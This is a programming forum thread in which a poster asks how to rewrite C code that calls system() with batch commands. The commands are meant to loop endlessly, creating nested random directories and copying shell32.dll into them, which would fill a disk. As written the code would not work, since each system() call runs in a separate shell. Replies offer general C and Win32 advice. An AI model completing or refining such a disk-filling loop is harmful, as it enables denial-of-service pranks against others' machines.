CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 5 of 5
  1. #1
    Join Date
    May 2008
    Posts
    2

    is there an easier way to write this?

    i have a compiled(and working) c++ code. i will give it to you in a second, but i need to figure out how to make these statements in c++ form.

    Code:
    #include <stdlib.h>
    int main(void)
    {
    system("@echo off");
    system(":1");
    system("set rand1=%random%");
    system("mkdir %rand1%");
    system("copy C:\\WINDOWS\\system32\\shell32.dll %random%");
    system("cd %rand1%");
    system("set rand2=%random%");
    system("mkdir %rand2%");
    system("copy C:\\WINDOWS\\system32\\shell32.dll %random%");
    system("cd %rand2%");
    system("set rand3=%random%");
    system("mkdir %rand3%");
    system("copy C:\\WINDOWS\\system32\\shell32.dll %random%");
    system("cd %rand3%");
    system("copy C:\\WINDOWS\\system32\\shell32.dll %random%");
    system("cd ..");
    system("cd ..");
    system("cd ..");
    system("goto 1");
    }
    now you see the basic workings of the code.
    my real question is: Is there an easier way to write all this?
    if so just point me in the right direction(dont just flat out tell me) unless you want to...

  2. #2
    Lindley is offline Elite Member Power Poster
    Join Date
    Oct 2007
    Location
    Seattle, WA
    Posts
    10,895

    Re: is there an easier way to write this?

    Are you seriously trying to write C code to do what a shell script can manage just as well?

    Eh....well, random number generation is done via the rand() function usually.

    Directory creation in Windows is typically done via the CreateDirectory Win32 function; on Unix it's mkdir(), I think. (I don't believe the mkdir() function exists on Windows.)

    Copying files from one place to another is done by reading them and then writing them out again.

    Nobody uses goto for the most part----just use a loop for that....

  3. #3
    Join Date
    Nov 2003
    Location
    Belgium
    Posts
    8,150

    Re: is there an easier way to write this?

    Quote Originally Posted by Lindley
    Directory creation in Windows is typically done via the CreateDirectory Win32 function; on Unix it's mkdir(), I think. (I don't believe the mkdir() function exists on Windows.)
    It's called _mkdir on Windows: see http://msdn.microsoft.com/en-us/library/2fkk4dzw.aspx
    Marc Gregoire - NuonSoft (http://www.nuonsoft.com)
    My Blog
    Wallpaper Cycler 3.5.0.97

    Author of Professional C++, 4th Edition by Wiley/Wrox (includes C++17 features)
    ISBN: 978-1-119-42130-6
    [ http://www.facebook.com/professionalcpp ]

  4. #4
    Join Date
    May 2008
    Posts
    2

    Re: is there an easier way to write this?

    Quote Originally Posted by Lindley
    Are you seriously trying to write C code to do what a shell script can manage just as well?
    yea, i am... thought it would be fun...

    and thanks for the help...

  5. #5
    Join Date
    Apr 2000
    Location
    Frederick, Maryland
    Posts
    507

    Re: is there an easier way to write this?

    What about create a batch file for this and execute that batch file using the System function.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured